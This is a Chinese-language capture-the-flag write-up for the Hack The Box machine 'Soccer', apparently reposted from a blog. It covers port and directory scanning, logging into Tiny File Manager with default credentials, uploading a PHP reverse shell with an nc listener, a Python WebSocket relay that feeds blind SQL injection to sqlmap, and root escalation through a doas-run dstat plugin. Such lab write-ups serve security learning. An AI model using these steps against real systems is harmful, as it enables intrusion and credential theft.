HTB打靶:Soccer
2023-5-30 00:1:51 Author: 猫哥的秋刀鱼回忆录(查看原文) 阅读量:16 收藏

免责声明

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

查看他的IP

Ping一下

成功

常规思路:

第一步:信息收集  第二步:漏洞利用   第三步:拿下权限

1.上nmap

nmap -sC -sV 10.10.11.194

常见扫描选项  

nmap选项

含义

-sV

获取服务版本信息

-p or -p-

扫描指定端口或扫描全部端口

-Pn

禁用主机发送,只扫描开放端口

-A

高级模式,启用系统探测、服务版本探测、脚本探测等

-sC

使用默认nmap脚本扫描

-v

详细模式

-sU

UDP端口扫描

-sS

TCP SYN端口扫描

使用手册

https://blog.csdn.net/smli_ng/article/details/105964486https://www.freebuf.com/sectool/281769.html

开放了22和80端口,nginx 1.18.0 (Ubuntu)

访问时发现转到域名

http://soccer.htb/

需要本地dns解析这个域名

https://blog.csdn.net/zrools/article/details/47414251

echo "10.10.11.194 soccer.htb" >> /etc/hostsCat /etc/hosts 查看一下

访问一下,是个静态页面

好了,继续信息收集

扫目录

root㉿kali6)-[~]
└─# dirsearch -u http://soccer.htb/(dirb http://soccer.htb/ -r) _|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/soccer.htb/-_23-05-28_19-15-49.txt
Error Log: /root/.dirsearch/logs/errors-23-05-28_19-15-49.log 
Target: http://soccer.htb/     
[19:15:49] Starting:
[19:15:57] 403 - 564B - /.ht_wsr.txt
[19:15:57] 403 - 564B - /.htaccess.bak1
[19:15:57] 403 - 564B - /.htaccess.sample
[19:15:57] 403 - 564B - /.htaccess.orig
[19:15:57] 403 - 564B - /.htaccess.save
[19:15:57] 403 - 564B - /.htaccess_extra
[19:15:57] 403 - 564B - /.htaccess_orig
[19:15:57] 403 - 564B - /.htaccessBAK
[19:15:57] 403 - 564B - /.htaccess_sc
[19:15:57] 403 - 564B - /.htaccessOLD
[19:15:57] 403 - 564B - /.htaccessOLD2
[19:15:57] 403 - 564B - /.html
[19:15:57] 403 - 564B - /.htpasswd_test
[19:15:57] 403 - 564B - /.htm
[19:15:57] 403 - 564B - /.htpasswds
[19:15:57] 403 - 564B - /.httr-oauth
[19:16:17] 403 - 564B - /admin/.htaccess
[19:16:26] 403 - 564B - /administrator/.htaccess
[19:16:29] 403 - 564B - /app/.htaccess
[19:16:50] 200 - 7KB - /index.html
[19:16:53] 200 - 178KB - /tiny     
Task Completed

http://soccer.htb/tiny/

映入眼帘的Tiny File Manager后台登录框 

框架:https://github.com/prasathmani/tinyfilemanager

搜一下:

Tiny File Manager默认账号密码

账号:admin 密码:[email protected] (成功)
账号:user 密码:12345
都测试一下
账号:admin 密码:[email protected] (成功登入后台)

都进后台了,开始找上传点

传个马子试试(我感觉这个玩意,时不时把马子搞掉)

可直接传

右上角的upload上传rev shell

我使用的rev shell:

https://pentestmonkey.net/tools/web-shells/php-reverse-shell

更改ip和port参数

监听1234端口

nc -nvlp 1234

/etc/passwd发现用户player,但是当前没权限访问用户目录下的文件

/etc/nginx$ cat nginx.conf

添加hosts文件访问

查看网页源代码

使用的是WebSockets剩下的有部分参考wp)

https://www.cnblogs.com/pt007/p/11898835.htmlhttps://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

因为上面可以传递参数,需要传入的msg是id然后将我们输入的发送到这个URL “ws://soc-player.soccer.htb:9001”尝试websocket的sqli注入,转换脚本根据那个网页源代码,修改ws_server和data参数

from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/ws"

def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

# For our case, format the payload in JSON
        message = unquote(payload).replace('"','\''# replacing " with ' to avoid breaking JSON structure        data = '{"id":"%s"}' % message        ws.send(data)        resp = ws.recv() ws.close()
        if resp:                return resp        else:                return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
                                payload = urlparse(self.path).query.split('=',1)[1]                        except IndexError:                                payload = False                                                   if payload:                                content = send_ws(payload)                        else:                                content = 'No parameters specified!'                        self.send_header("Content-type", content_type)                        self.end_headers()                        self.wfile.write(content.encode())                        return        class _TCPServer(TCPServer):                allow_reuse_address = True        httpd = _TCPServer(host_port, CustomHandler)        httpd.serve_forever()print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")try:        middleware_server(('0.0.0.0',8081))except KeyboardInterrupt: pass

安装模块

pip3 install websocket-client

python3 so.py 运行脚本开启MiddleWare服务

上SQLmap

sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs--dump-all:查找并转储找到的所有数据库--exclude-sysdbs:不在默认数据库上跑

此时此刻已经通过注入拿到用户名密码,直接连接

(rootkali6)-[~]
└─# ssh player@10.10.11.194

连上了

提权问题,知识面比较窄了

尝试suid文件提权

https://blog.csdn.net/Fly_hps/article/details/80428173
find / -user root -perm -4000 -print 2>/dev/null

有s标志位的文件

这玩意,嗯,查一下去

doas提权

https://sspai.com/post/64843

查找一下doas的配置文件

find / -type f -name doas.conf 2>/dev/null

找到了

想摆烂了,摆烂,摆烂

(开玩笑,请勿学习)

好方法!

https://blog.csdn.net/michaelwoshi/article/details/117852612

剩下的就开查了,受不了了,头疼!

PS:剩下的纯摆烂,纯百度一下)

通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/

可以往插件里写入rev shell获得root权限

我们移动到这个目录下,创建一个名为dstat_qingyue.py的文件

cd /usr/local/share/dstat/touch dstat_qingyue.pychmod 777 dstat_qingyue.py

写入代码

import subprocess      
subprocess.run(["bash"])

然后使用Doas执行Dstat插件

doas /usr/bin/dstat --qingyue

TNND,成功获得root权限

         

使用需知

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

封面图片来源网络,如有侵权联系必删。

安全小白,不喜绕过。


文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0NjMyNDcxMg==&mid=2247500031&idx=2&sn=3cf9fbec80a460a50b4cbaba4d4c22e6&chksm=c3055578f472dc6ea5fcba82808789d5bab1a1c349aabae32ca6bb547e7ffa200adf0e5419ed#rd
如有侵权请联系:admin#unsafe.sh